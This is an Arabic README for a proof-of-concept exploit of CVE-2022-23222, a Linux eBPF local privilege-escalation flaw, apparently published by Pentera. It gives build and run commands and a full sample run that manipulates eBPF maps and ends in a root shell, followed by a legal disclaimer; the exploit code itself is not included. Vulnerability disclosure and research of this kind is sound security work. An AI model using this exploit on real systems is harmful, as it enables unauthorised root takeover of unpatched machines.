
هذا هو إثبات مفهوم (POC) لثغرة CVE 2022-23222، وهي ثغرة تصعيد صلاحيات محلية. تمت كتابة إثبات المفهوم هذا لتوزيعة Ubuntu 20.04 بإصدار نواة 5.13.0-27-generic، لكن إصدارات النواة الأخرى معرضة للخطر أيضًا. للحصول على تحليل مفصّل للاستغلال، يرجى قراءة شرحنا التفصيلي.
تأكد من تثبيت libbpf لأنه شرط أساسي لعمل الاستغلال.
لتجميع إثبات المفهوم، قم بتشغيل الأمر التالي:
make
لتنفيذ الاستغلال، قم بتشغيل الملف التنفيذي التالي:
./exploit
[+] eBPF enabled, ringbuf created!
[!] staring to create new maps until we get two consecutive maps
[+] created map 1
[+] generated random value: f2dec021c4bb41b7
[+] created map 2
[+] generated random value: 3d247a46c6ed75e4
[+] two new maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 3
[+] generated random value: 3214fb323b506766
[+] created map 4
[+] generated random value: 909d65f4ebe3bc9a
[+] eBPF enabled, maps created!
[+] value read from slab: 0
[+] value read from slab: 0
[+] created map 5
[+] generated random value: 6bd18dfb510e1f0f
[+] created map 6
[+] generated random value: 8bd7c8e518387c75
[+] eBPF enabled, maps created!
[+] value read from slab: 3214fb323b506766
[+] aligned map found in map 2
1: 6bd18dfb510e1f0f
2: 3214fb323b506766
[+] closing unnecessary_maps
[+] found map address: 0xffff94d44cf48800
[+] overriding map_ops
[+] detected kernel slide 11200000
[+] setting spin_lock = 0
[+] setting max_entries = 0xffffffff
[+] setting map_type = BPF_MAP_TYPE_STACK
[+] getting root
[+] iterating over task_struct list to find out process
[+] got it!
[+] cleaning up
[+] getting shell!
#
يتم توفير الكود الموصوف في هذا التنبيه ("الكود") على أساس "كما هو" و"كما هو متاح" وقد يحتوي على أخطاء برمجية وأخطاء وعيوب أخرى. يُنصح بحماية البيانات المهمة وتوخي الحذر. باستخدامك لهذا الكود، فإنك توافق على أن شركة Pentera لا تتحمل أي مسؤولية تجاهك عن أي مطالبات تتعلق بالكود. تخلي Pentera مسؤوليتها عن أي أضرار مباشرة أو غير مباشرة أو عرضية أو عقابية أو استثنائية أو خاصة أو تبعية، حتى لو تم إخطار Pentera أو الأطراف ذات الصلة بها بإمكانية حدوث مثل هذه الأضرار. لا تتحمل Pentera أي التزام بتحديث الكود أو هذا التنبيه.